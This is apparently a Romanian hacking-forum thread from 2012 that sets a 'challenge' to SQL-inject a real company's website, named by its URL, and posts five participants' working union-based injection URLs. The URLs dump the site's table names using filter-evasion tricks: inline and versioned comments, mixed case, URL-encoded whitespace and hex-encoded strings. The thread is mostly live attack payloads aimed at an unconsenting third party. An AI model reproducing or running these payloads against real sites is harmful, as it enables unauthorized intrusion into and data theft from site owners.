[Medium/Hard] SQL injection

[Sweby]

[+] Target : Casa din lemn rotund - CONY WOOD SRL

[+] Metoda : Union Based

[+] Cerinte : Afisati "Nick : table_name"

[+] Proof :

PM cu sintaxele

Ideea cu tabelul de la Wubi .

[table=width: 800, class: grid, align: left]

[tr]

[td]Solvers[/td]

[td]Syntax (dupa inchiderea challengului)[/td]

[/tr]

[tr]

[td]totti93[/td]

[td]http://www.casadelemn.ro/?show=-2/*1337*/UNION/*1337*/(SELECT/*1337*/1337,concat_ws(0x203a20,0x746f7474693933,table_name)/*1337*/FROM/*1337*/INFORMATION_SCHEMA./*!TABLES*//*1337*/WHERE/*1337*/TABLE_SCHEMA=database())-- -[/td]

[/tr]

[tr]

[td]Wubi[/td]

[td]http://www.casadelemn.ro/?show=-2+/**//*!31337UNION SELECT*//**/+1,/*!31337cOnCat*/(/*!0x77756269,0x3a,table_name*/)/**//*!From*/+%69nformation_schema./**/tAblES+/*!31337Where*/+/*!%54able_ScHEmA*/=schEMA()-- - --+-[/td]

[/tr]

[tr]

[td]neo.hapsis[/td]

[td]http://www.casadelemn.ro/?show=2+and(0)+union+distinctROW+select+1,/*!50000CoNcaT*/(0x706833776c,0x3a,table_name) /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=database()-- -[/td]

[/tr]

[tr]

[td]gafi[/td]

[td]http://www.casadelemn.ro/?show=258000+union%23foo*%2F*bar%0D%0Aselect+1,concat_ws(' : ',CHAR(103,97,102,105),table_name)+FrOm/*!information_schema*/.tables/*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()--[/td]

[/tr]

[tr]

[td]co4ie[/td]

[td]http://www.casadelemn.ro/?show=-2+union+%28select+1,%09COnCaT%09%28user%28%29,0x3a,table_name%29+FrOm+InFoRmAtIoN_sChEmA.%09TaBlEs%09+WhErE+TaBlE_sChEMa+LiKe+database%28%29%29--%a0-[/td]

[/tr]

[tr]

[td][/td]

[td][/td]

[/tr]

[/table]

Edited October 12, 2012 by Sweby

[totti93]

Am fost un timp inactiv. O vreme doar citeam si am vazut acest tread.

L.E.: Am scos doar versiunea intai, nu am vazut ca trebuie sub forma `nume : tabel`.

Edited October 8, 2012 by totti93

[Wubi]

Scuze, nu citisem cerintele,

Edited October 8, 2012 by Wubi

[neo.hapsis]

User,Database,Version

Nick : Table_Name

[gafi]

[co4ie]

[Sweby]

Challenge inchis, sintaxe postate. Multumesc pentru participare .